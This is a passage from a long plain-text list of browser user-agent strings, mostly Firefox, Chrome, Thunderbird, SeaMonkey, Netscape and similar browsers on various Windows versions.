Firefox/4.0.2pre Fennec/4.0.1\nMozilla/5.0 (Windows NT 6.1; rv:21.0) Gecko/20100101 Firefox/21.0\nMozilla/5.0 (Windows NT 6.1; rv:21.0) Gecko/20100101 Firefox/21.0 SeaMonkey/2.18a1\nMozilla/5.0 (Windows NT 6.1; rv:21.0) Gecko/20130328 Firefox/21.0\nMozilla/5.0 (Windows NT 6.1; rv:21.0) Gecko/20130401 Firefox/21.0\nMozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20130405 Firefox/22.0\nMozilla/5.0 (Windows NT 6.1; rv:27.3) Gecko/20130101 Firefox/27.3\nMozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20110624 Thunderbird/5.0\nMozilla/5.0 (Windows NT 6.1; rv:6.0) Gecko/20100101 Firefox/19.0\nMozilla/5.0 (Windows NT 6.1; rv:6.0) Gecko/20100101 Firefox/5.0\nMozilla/5.0 (Windows NT 6.1; rv:6.0) Gecko/20100101 Firefox/7.0\nMozilla/5.0 (Windows NT 6.1; rv:6.0) Gecko/20110812 Thunderbird/6.0\nMozilla/5.0 (Windows NT 6.1; rv:6.0) Gecko/20110814 Firefox/6.0\nMozilla/5.0 (Windows NT 6.1; rv:6.0.1) Gecko/20110830 Thunderbird/6.0.1\nMozilla/5.0 (Windows NT 6.1; rv:7.0.1) Gecko/20110929 Thunderbird/7.0.1\nMozilla/5.0 (Windows NT 6.2) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11\nMozilla/5.0 (Windows NT 6.2) AppleWebKit/535.7 (KHTML, like Gecko) Comodo_Dragon/16.1.1.0 Chrome/16.0.912.63 Safari/535.7\nMozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.0 Safari/536.3\nMozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3\nMozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3\nMozilla/5.0 (Windows NT 6.2) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1090.0 Safari/536.6\nMozilla/5.0 (Windows NT 6.2) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.26 Safari/537.11\nMozilla/5.0 (Windows NT 6.2) AppleWebKit/537.13 (KHTML, like Gecko) Chrome/24.0.1290.1 Safari/537.13\nMozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1464.0 Safari/537.36\nMozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1467.0 Safari/537.36\nMozilla/5.0 (Windows NT 6.2) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.94 Safari/537.4\nMozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; NOKIA; Lumia 635) like Gecko\nMozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; NOKIA; Lumia 920) like Geckoo\nMozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.11 (KHTML, like Gecko)  Iron/17.0.1000.0 Chrome/17.0.1000.0 Safari/535.11\nMozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.65 Safari/535.11\nMozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11\nMozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24\nMozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Iron/19.0.1100.0 Chrome/19.0.1100.0 Safari/536.5\nMozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/19.77.34.5 Safari/537.1\nMozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1200.0 Iron/21.0.1200.0  Safari/537.1\nMozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.17 Safari/537.11\nMozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.13 (KHTML, like Gecko) Chrome/24.0.1290.1 Safari/537.13\nMozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.14 (KHTML, like Gecko) Chrome/24.0.1292.0 Safari/537.14\nMozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.15 (KHTML, like Gecko) Chrome/24.0.1295.0 Safari/537.15\nMozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/28.0.1469.0 Safari/537.36\nMozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36\nMozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1500.55 Safari/537.36\nMozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.2 Safari/537.36\nMozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36\nMozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.76 Safari/537.36 OPR/28.0.1750.40\nMozilla/5.0 (Windows NT 6.2; WOW64; rv:1.8.0.7) Gecko/20110321 MultiZilla/4.33.2.6a SeaMonkey/8.6.55\nMozilla/5.0 (Windows NT 6.2; WOW64; rv:12.2) Gecko/20120605 Firefox/12.2 PaleMoon/12.2\nMozilla/5.0 (Windows NT 6.2; WOW64; rv:15.0) Gecko/20120910144328 Firefox/15.0.2\nMozilla/5.0 (Windows NT 6.2; WOW64; rv:16.0.1) Gecko/20121011 Firefox/16.0.1\nMozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20130620 Thunderbird/17.0.7\nMozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20130801 Thunderbird/17.0.8\nMozilla/5.0 (Windows NT 6.2; WOW64; rv:19.0) Gecko/20130308 Firefox/19.0 PaleMoon/19.0.2\nMozilla/5.0 (Windows NT 6.2; WOW64; rv:21.0) Gecko/20130514 Firefox/21.0\nMozilla/5.0 (Windows NT 6.2; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0 SeaMonkey/2.20\nMozilla/5.0 (Windows NT 6.2; WOW64; rv:23.0) Gecko/20100101 Thunderbird/23.0 Lightning/2.5b1\nMozilla/5.0 (Windows NT 6.2; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.0\nMozilla/5.0 (Windows NT 6.2; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0\nMozilla/5.0 (Windows NT 6.2; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0\nMozilla/5.0 (Windows NT 6.2; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0\nMozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36\nMozilla/5.0 (Windows NT 6.2; Win64; x64; rv:12.2.1) Gecko/20120616 Firefox/12.2.1-x64 PaleMoon/12.2.1-x64\nMozilla/5.0 (Windows NT 6.2; Win64; x64; rv:15.0) Gecko/20120819 Firefox/15.0-x64 PaleMoon/15.0-x64\nMozilla/5.0 (Windows NT 6.2; Win64; x64; rv:15.0) Gecko/20120919 Firefox/15.1.1-x64 PaleMoon/15.1.1-x64\nMozilla/5.0 (Windows NT 6.2; Win64; x64; rv:16.0) Gecko/16.0 Firefox/16.0\nMozilla/5.0 (Windows NT 6.2; Win64; x64; rv:16.0.1) Gecko/20121011 Firefox/16.0.1\nMozilla/5.0 (Windows NT 6.2; Win64; x64; rv:16.0.1) Gecko/20121011 Firefox/21.0.1\nMozilla/5.0 (Windows NT 6.2; Win64; x64; rv:21.0.0) Gecko/20121011 Firefox/21.0.0\nMozilla/5.0 (Windows NT 6.2; Win64; x64; rv:27.0) Gecko/20121011 Firefox/27.0\nMozilla/5.0 (Windows NT 6.2; Win64; x64;) Gecko/20100101 Firefox/20.0\nMozilla/5.0 (Windows NT 6.2; rv:11.0) Gecko/20120312 Firefox/11.0 SeaMonkey/2.8\nMozilla/5.0 (Windows NT 6.2; rv:17.0) Gecko/20130801 Thunderbird/17.0.8\nMozilla/5.0 (Windows NT 6.2; rv:19.0) Gecko/20121129 Firefox/19.0\nMozilla/5.0 (Windows NT 6.2; rv:20.0) Gecko/20121202 Firefox/20.0\nMozilla/5.0 (Windows NT 6.2; rv:21.0) Gecko/20130326 Firefox/21.0\nMozilla/5.0 (Windows NT 6.2; rv:22.0) Gecko/20130405 Firefox/22.0\nMozilla/5.0 (Windows NT 6.2; rv:22.0) Gecko/20130405 Firefox/23.0\nMozilla/5.0 (Windows NT 6.2; rv:9.0.1) Gecko/20100101 Firefox/9.0.1\nMozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko\nMozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36 OPR/18.0.1284.49\nMozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36\nMozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36\nMozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0\nMozilla/5.0 (Windows NT 6.3; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0 SeaMonkey/2.25\nMozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36\nMozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0\nMozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36\nMozilla/5.0 (Windows NT 7.1) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.112 Safari/534.30\nMozilla/5.0 (Windows NT) AppleWebKit/534.20 (KHTML, like Gecko) Chrome/11.0.672.2 Safari/534.20\nMozilla/5.0 (Windows NT; U; en) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Iris/1.1.7 Safari/525.20\nMozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Mobile Safari/537.36 Edge/12.0\nMozilla/5.0 (Windows Phone 8.1; ARM; Trident/7.0; Touch; rv:11.0; IEMobile/11.0; NOKIA; Lumia 530) like Gecko\nMozilla/5.0 (Windows Phone 8.1; ARM; Trident/7.0; Touch; rv:11.0; IEMobile/11.0; NOKIA; Lumia 630) like Gecko\nMozilla/5.0 (Windows Phone 8.1; ARM; Trident/7.0; Touch; rv:11.0; IEMobile/11.0; NOKIA; Lumia 920) like Gecko\nMozilla/5.0 (Windows XP; U) Opera 6.05  [de]\nMozilla/5.0 (Windows XP; U) Opera 6.06  [en]\nMozilla/5.0 (Windows x86; rv:19.0) Gecko/20100101 Firefox/19.0\nMozilla/5.0 (Windows; ; Windows NT 5.1; en; rv:1.9.1.1) Gecko/20090715 Firefox/3.5\nMozilla/5.0 (Windows; ; Windows NT 5.1; rv:1.7.2) Gecko/20040804\nMozilla/5.0 (Windows; JA; Windows NT 6.1; JA; rv:1.9.2) Gecko/20100115 Firefox/3.6\nMozilla/5.0 (Windows; N; Windows 98; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (Windows; N; Windows ME; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (Windows; N; Windows NT 5.1; en-US) AppleWebKit/529 (KHTML, like Gecko, Safari/529.0) Lunascape/4.9.9.94\nMozilla/5.0 (Windows; N; Windows NT 5.1; hu-HU) AppleWebKit/529 (KHTML, like Gecko, Safari/529.0) Lunascape/4.9.9.94\nMozilla/5.0 (Windows; N; Windows NT 5.1; id-ID) AppleWebKit/529 (KHTML, like Gecko, Safari/529.0) Lunascape/4.9.9.94\nMozilla/5.0 (Windows; N; Windows NT 5.2; ru-RU) AppleWebKit/529 (KHTML, like Gecko, Safari/529.0) Lunascape/4.9.9.94\nMozilla/5.0 (Windows; N; Windows NT 6.1; ja-JP; rv:1.9.2) Gecko/20100115 Firefox/3.6\nMozilla/5.0 (Windows; U; ; cs-CZ) AppleWebKit/528+ (KHTML, like Gecko, Safari/528.0) Lunascape/5.1.0.0\nMozilla/5.0 (Windows; U; ; cs-CZ) AppleWebKit/528+ (KHTML, like Gecko, Safari/528.0) Lunascape/5.1.1.0\nMozilla/5.0 (Windows; U; ; cs-CZ) AppleWebKit/528+ (KHTML, like Gecko, Safari/528.0) Lunascape/5.1.2.0\nMozilla/5.0 (Windows; U; ; cs-CZ) AppleWebKit/532+ (KHTML, like Gecko, Safari/532.0) Lunascape/5.1.2.3\nMozilla/5.0 (Windows; U; ; en-EN) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.8.0\nMozilla/5.0 (Windows; U; ; en-NZ) AppleWebKit/527  (KHTML, like Gecko, Safari/419.3) Arora/0.8.0\nMozilla/5.0 (Windows; U; ; en-NZ) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3)  Arora/0.8.0\nMozilla/5.0 (Windows; U; ; en-US) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.8.0\nMozilla/5.0 (Windows; U; ; hu-HU) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3)  Arora/0.10.0\nMozilla/5.0 (Windows; U; ; hu-HU) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.10.0\nMozilla/5.0 (Windows; U; BeOS; en-US; rv:1.9.0.7) Gecko/2009021910\nMozilla/5.0 (Windows; U; Dorothy Browser; ko-kr) AppleWebKit/533.3 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.3\nMozilla/5.0 (Windows; U; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)\nMozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 5.2)\nMozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; el-GR)\nMozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)\nMozilla/5.0 (Windows; U; MSIE 9.0; WIndows NT 9.0; en-US))\nMozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)\nMozilla/5.0 (Windows; U; Mobile; Dorothy Browser; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Version/3.1.2 Mobile Safari/533.3\nMozilla/5.0 (Windows; U; Win 9x 4.90; SG; rv:1.9.2.4) Gecko/20101104 Netscape/9.1.0285\nMozilla/5.0 (Windows; U; Win 9x 4.90; de-AT; rv:1.0.0) Gecko/20020530\nMozilla/5.0 (Windows; U; Win 9x 4.90; de-AT; rv:1.1) Gecko/20020826\nMozilla/5.0 (Windows; U; Win 9x 4.90; de-AT; rv:1.2.1) Gecko/20021130\nMozilla/5.0 (Windows; U; Win 9x 4.90; de-AT; rv:1.4) Gecko/20030624\nMozilla/5.0 (Windows; U; Win 9x 4.90; de-AT; rv:1.7) Gecko/20040616\nMozilla/5.0 (Windows; U; Win 9x 4.90; de-AT; rv:1.7.11) Gecko/20050728\nMozilla/5.0 (Windows; U; Win 9x 4.90; de-AT; rv:1.7.2) Gecko/20040803\nMozilla/5.0 (Windows; U; Win 9x 4.90; de-AT; rv:1.8.1.23) Gecko/20090825 SeaMonkey/1.1.18\nMozilla/5.0 (Windows; U; Win 9x 4.90; de-DE; rv:0.9.2) Gecko/20010726 Netscape6/6.1\nMozilla/5.0 (Windows; U; Win 9x 4.90; de-DE; rv:0.9.4) Gecko/20011019 Netscape6/6.2\nMozilla/5.0 (Windows; U; Win 9x 4.90; de-DE; rv:0.9.4) Gecko/20011128 Netscape6/6.2.1\nMozilla/5.0 (Windows; U; Win 9x 4.90; de-DE; rv:0.9.4.1) Gecko/20020314 Netscape6/6.2.2\nMozilla/5.0 (Windows; U; Win 9x 4.90; de-DE; rv:0.9.4.1) Gecko/20020508 Netscape6/6.2.3\nMozilla/5.0 (Windows; U; Win 9x 4.90; de-DE; rv:1.0.1) Gecko/20020823 Netscape/7.0\nMozilla/5.0 (Windows; U; Win 9x 4.90; de-DE; rv:1.0.2) Gecko/20021120 Netscape/7.01\nMozilla/5.0 (Windows; U; Win 9x 4.90; de-DE; rv:1.4) Gecko/20030619 Netscape/7.1 (ax)\nMozilla/5.0 (Windows; U; Win 9x 4.90; de-DE; rv:1.7.10) Gecko/20050717 Firefox/1.0.6\nMozilla/5.0 (Windows; U; Win 9x 4.90; de-DE; rv:1.7.12) Gecko/20050919 Firefox/1.0.7\nMozilla/5.0 (Windows; U; Win 9x 4.90; de-DE; rv:1.7.5) Gecko/20041122 Firefox/1.0\nMozilla/5.0 (Windows; U; Win 9x 4.90; de-DE; rv:1.7.7) Gecko/20050414 Firefox/1.0.3\nMozilla/5.0 (Windows; U; Win 9x 4.90; de-DE; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\nMozilla/5.0 (Windows; U; Win 9x 4.90; de-DE; rv:1.8.1.21) Gecko/20090331 K-Meleon/1.5.3\nMozilla/5.0 (Windows; U; Win 9x 4.90; de; rv:1.8) Gecko/20051111 Firefox/1.5\nMozilla/5.0 (Windows; U; Win 9x 4.90; de; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (Windows; U; Win 9x 4.90; el; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20\nMozilla/5.0 (Windows; U; Win 9x 4.90; en-GB; rv:0.9.4) Gecko/20011019 Netscape6/6.2\nMozilla/5.0 (Windows; U; Win 9x 4.90; en-GB; rv:1.7.12) Gecko/20050919 Firefox/1.0.7\nMozilla/5.0 (Windows; U; Win 9x 4.90; en-GB; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1\nMozilla/5.0 (Windows; U; Win 9x 4.90; en-GB; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2\nMozilla/5.0 (Windows; U; Win 9x 4.90; en-GB; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12\nMozilla/5.0 (Windows; U; Win 9x 4.90; en-GB; rv:1.8.1.6) Gecko/20070802 SeaMonkey/1.1.4\nMozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:0.9.4.1) Gecko/20020314 Netscape6/6.2.2\nMozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.0.0) Gecko/20020530\nMozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0\nMozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.0.1) Gecko/20020826\nMozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.0.2) Gecko/20021120 Netscape/7.01\nMozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.0.2) Gecko/20030208 Netscape/7.02\nMozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.1) Gecko/20020826\nMozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.4) Gecko/20030624 Netscape/7.0 (ax)\nMozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax)\nMozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.6) Gecko/20040206 Firefox/0.8\nMozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.7.1) Gecko/20040707\nMozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6\nMozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7\nMozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.7.2) Gecko/20040804 Netscape/7.2 (ax)\nMozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0\nMozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.7.5) Gecko/20041220 K-Meleon/0.9\nMozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.7.5) Gecko/20050603 Netscape/8.0.2\nMozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\nMozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5\nMozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.8) Gecko/20051111 Firefox/1.5\nMozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1\nMozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0\nMozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2\nMozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3\nMozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4\nMozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6\nMozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7\nMozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1\nMozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.8.1.10) Gecko/20071115 Firefox/2.0.0.10\nMozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.8.1.16) Gecko/20080702 SeaMonkey/1.1.11\nMozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.8.1.19) Gecko/20081204 SeaMonkey/1.1.14\nMozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.8.1.22) Gecko/20090605 SeaMonkey/1.1.17\nMozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.8.1.8pre) Gecko/20071015 Firefox/2.0.0.7 Navigator/9.0\nMozilla/5.0 (Windows; U; Win 9x 4.90; es-ES; rv:1.8.1.10) Gecko/20071116 K-Meleon/1.1.3\nMozilla/5.0 (Windows; U; Win 9x 4.90; fr-FR; rv:0.9.4) Gecko/20011128 Netscape6/6.2.1\nMozilla/5.0 (Windows; U; Win 9x 4.90; fr-FR; rv:1.0.1) Gecko/20020823 Netscape/7.0\nMozilla/5.0 (Windows; U; Win 9x 4.90; fr-FR; rv:1.7.12) Gecko/20050919 Firefox/1.0.7\nMozilla/5.0 (Windows; U; Win 9x 4.90; fr; rv:1.8) Gecko/20051111 Firefox/1.5\nMozilla/5.0 (Windows; U; Win 9x 4.90; it; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1\nMozilla/5.0 (Windows; U; Win 9x 4.90; it; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7\nMozilla/5.0 (Windows; U; Win 9x 4.90; nl-NL; rv:1.7.5) Gecko/20041202 Firefox/1.0\nMozilla/5.0 (Windows; U; Win 9x 4.90; pl; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20\nMozilla/5.0 (Windows; U; Win 9x 4.90; pl; rv:1.8.1.6) Gecko/20070725 Firefox/1.0.1\nMozilla/5.0 (Windows; U; Win 9x 4.90; rv:1.7) Gecko/20040803 Firefox/0.9.3\nMozilla/5.0 (Windows; U; Win 9x 4.90; zh-TW; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4\nMozilla/5.0 (Windows; U; Win95; de-AT; rv:1.0.0) Gecko/20020530\nMozilla/5.0 (Windows; U; Win95; de-AT; rv:1.7.11) Gecko/20050728\nMozilla/5.0 (Windows; U; Win95; de-DE; rv:0.9.2) Gecko/20010726 Netscape6/6.1\nMozilla/5.0 (Windows; U; Win95; de-DE; rv:1.0.1) Gecko/20020823 Netscape/7.0\nMozilla/5.0 (Windows; U; Win95; de-DE; rv:1.0.2) Gecko/20030208 Netscape/7.02\nMozilla/5.0 (Windows; U; Win95; de-DE; rv:1.7.12) Gecko/20050919 Firefox/1.0.7\nMozilla/5.0 (Windows; U; Win95; de; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (Windows; U; Win95; de; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1\nMozilla/5.0 (Windows; U; Win95; en-GB; rv:0.9.4) Gecko/20011019 Netscape6/6.2\nMozilla/5.0 (Windows; U; Win95; en-US; rv:1.0.0) Gecko/20020530\nMozilla/5.0 (Windows; U; Win95; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0\nMozilla/5.0 (Windows; U; Win95; en-US; rv:1.1) Gecko/20020826\nMozilla/5.0 (Windows; U; Win95; en-US; rv:1.2.1) Gecko/20021130\nMozilla/5.0 (Windows; U; Win95; en-US; rv:1.4) Gecko/20030624\nMozilla/5.0 (Windows; U; Win95; en-US; rv:1.4) Gecko/20030624 Netscape/7.1\nMozilla/5.0 (Windows; U; Win95; en-US; rv:1.5) Gecko/20031007 Firebird/0.7\nMozilla/5.0 (Windows; U; Win95; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0\nMozilla/5.0 (Windows; U; Win95; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4\nMozilla/5.0 (Windows; U; Win98; Win 9x 4.90; de; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (Windows; U; Win98; da-DK; rv:1.0.0) Gecko/20020530\nMozilla/5.0 (Windows; U; Win98; de-AT; rv:1.1) Gecko/20020826\nMozilla/5.0 (Windows; U; Win98; de-AT; rv:1.3) Gecko/20030312\nMozilla/5.0 (Windows; U; Win98; de-AT; rv:1.4) Gecko/20030624\nMozilla/5.0 (Windows; U; Win98; de-AT; rv:1.5) Gecko/20031007\nMozilla/5.0 (Windows; U; Win98; de-AT; rv:1.7) Gecko/20040616\nMozilla/5.0 (Windows; U; Win98; de-AT; rv:1.7.12) Gecko/20050915\nMozilla/5.0 (Windows; U; Win98; de-AT; rv:1.7.3) Gecko/20040910\nMozilla/5.0 (Windows; U; Win98; de-DE; rv:0.9.4) Gecko/20011019 Netscape6/6.2\nMozilla/5.0 (Windows; U; Win98; de-DE; rv:0.9.4) Gecko/20011128 Netscape6/6.2.1\nMozilla/5.0 (Windows; U; Win98; de-DE; rv:0.9.4.1) Gecko/20020314 Netscape6/6.2.2\nMozilla/5.0 (Windows; U; Win98; de-DE; rv:0.9.4.1) Gecko/20020508 Netscape6/6.2.3\nMozilla/5.0 (Windows; U; Win98; de-DE; rv:1.0.1) Gecko/20020823 Netscape/7.0\nMozilla/5.0 (Windows; U; Win98; de-DE; rv:1.0.2) Gecko/20021120 Netscape/7.01\nMozilla/5.0 (Windows; U; Win98; de-DE; rv:1.0.2) Gecko/20030208 Netscape/7.02\nMozilla/5.0 (Windows; U; Win98; de-DE; rv:1.4) Gecko/20030619 Netscape/7.1 (ax)\nMozilla/5.0 (Windows; U; Win98; de-DE; rv:1.4b) Gecko/20030516 Mozilla Firebird/0.6\nMozilla/5.0 (Windows; U; Win98; de-DE; rv:1.5a) Gecko/20030728 Mozilla Firebird/0.6.1\nMozilla/5.0 (Windows; U; Win98; de-DE; rv:1.7) Gecko/20040803 Firefox/0.9.3\nMozilla/5.0 (Windows; U; Win98; de-DE; rv:1.7.10) Gecko/20050717 Firefox/1.0.6\nMozilla/5.0 (Windows; U; Win98; de-DE; rv:1.7.12) Gecko/20050919 Firefox/1.0.7\nMozilla/5.0 (Windows; U; Win98; de-DE; rv:1.7.5) Gecko/20041122 Firefox/1.0\nMozilla/5.0 (Windows; U; Win98; de-DE; rv:1.7.6) Gecko/20050226 Firefox/1.0.1\nMozilla/5.0 (Windows; U; Win98; de-DE; rv:1.7.7) Gecko/20050414 Firefox/1.0.3\nMozilla/5.0 (Windows; U; Win98; de-DE; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\nMozilla/5.0 (Windows; U; Win98; de-DE; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12\nMozilla/5.0 (Windows; U; Win98; de-DE; rv:1.8.1.24) Gecko/20100228 K-Meleon/1.5.4\nMozilla/5.0 (Windows; U; Win98; de; rv:1.8) Gecko/20051111 Firefox/1.5\nMozilla/5.0 (Windows; U; Win98; de; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1\nMozilla/5.0 (Windows; U; Win98; de; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11\nMozilla/5.0 (Windows; U; Win98; de; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4\nMozilla/5.0 (Windows; U; Win98; de; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7\nMozilla/5.0 (Windows; U; Win98; de; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8\nMozilla/5.0 (Windows; U; Win98; de; rv:1.8.1) Gecko/20061010 